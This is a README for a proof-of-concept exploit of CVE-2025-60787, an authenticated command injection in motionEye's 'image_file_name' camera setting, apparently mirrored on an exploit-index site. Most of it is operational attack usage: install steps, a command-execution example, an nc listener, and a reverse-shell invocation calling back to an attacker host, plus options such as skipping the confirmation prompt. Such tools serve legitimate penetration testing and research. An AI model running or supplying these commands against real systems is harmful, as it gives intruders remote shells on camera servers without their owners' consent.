Share
## https://sploitus.com/exploit?id=DBDF3A59-16BD-5601-8FB5-18D75DA21EC7
# CVE-2025-60787 โ€” motionEye Authenticated RCE

Authenticated command injection PoC for CVE-2025-60787. motionEye `v0.43.1b4` and earlier write user-controlled camera configuration values such as `image_file_name` into Motion configuration without sufficient sanitization, allowing command execution when the value is processed.

> **For authorized testing and research only. Do not use against systems you do not own or have explicit permission to test.**

---

## What it does

```text
Signed API request -> camera config update -> image_file_name injection -> snapshot trigger -> command execution
```

1. Validates the target and detects motionEye.
2. Generates signed motionEye API requests using the configured username and password hash.
3. Reads camera configuration through `/config/list/`.
4. Injects a command into the camera `image_file_name` setting.
5. Enables still images/manual snapshots where needed.
6. Triggers `/action//snapshot/` so motionEye processes the injected filename.
7. Optionally restores the original camera configuration.

---

## Screenshots

### Reverse shell setup

![Reverse shell setup](images/1.png)

### Configuration injection and trigger

![Configuration injection and trigger](images/2.png)

### Shell received

![Shell received](images/3.png)

---

## Setup

```bash
git clone https://github.com/ozcanpng/CVE-2025-60787.git
cd CVE-2025-60787
pip install -r requirements.txt
```

---

## Usage

### Safe command proof

```bash
python3 CVE-2025-60787.py \
  --target http://127.0.0.1:8765 \
  --user admin \
  --password-hash HASH \
  --cmd 'id > /tmp/motioneye_rce'
```

### Reverse shell

Start a listener first:

```bash
rlwrap nc -lvnp 4444
```

Then run:

```bash
python3 CVE-2025-60787.py \
  --target http://127.0.0.1:8765 \
  --port 8765 \
  --user admin \
  --password-hash HASH \
  --reverse-shell \
  --lhost 10.10.16.53 \
  --lport 4444
```

Useful options:

```text
--camera-id N      Camera ID to modify (default: 1)
--restore          Restore the original camera configuration after triggering
--dry-run          Build signed requests without modifying the target
--debug            Print canonical signed paths, bodies and signatures
--no-trigger       Update config without triggering a snapshot
--verify-tls       Verify HTTPS certificates
--yes              Skip reverse-shell confirmation prompt
```

---

## Affected

| Product | Affected Version | Access Required | Impact |
|---------|------------------|-----------------|--------|
| motionEye | `<= 0.43.1b4` | Authenticated admin/API access | OS command execution as the motionEye/Motion process user |

The resulting privilege depends on how motionEye is deployed. In containers or lab images running the service as root, command execution can land as root.

---

## Notes

- The PoC expects the stored motionEye password value/hash because that value is used as the signing key for legacy API requests.
- The injected field is `image_file_name`.
- Use `--restore` during testing to put the original camera configuration back after exploitation.
- Prefer `--cmd` for safe validation before attempting a reverse shell.

---

## References

- [NVD โ€” CVE-2025-60787](https://nvd.nist.gov/vuln/detail/CVE-2025-60787)
- [GitHub Security Advisory โ€” GHSA-j945-qm58-4gjx](https://github.com/motioneye-project/motioneye/security/advisories/GHSA-j945-qm58-4gjx)
- [motionEye project](https://github.com/motioneye-project/motioneye)

---

## Author

ozcanpng โ€” [github.com/ozcanpng](https://github.com/ozcanpng) โ€” [ozcanpng.dev](https://ozcanpng.dev)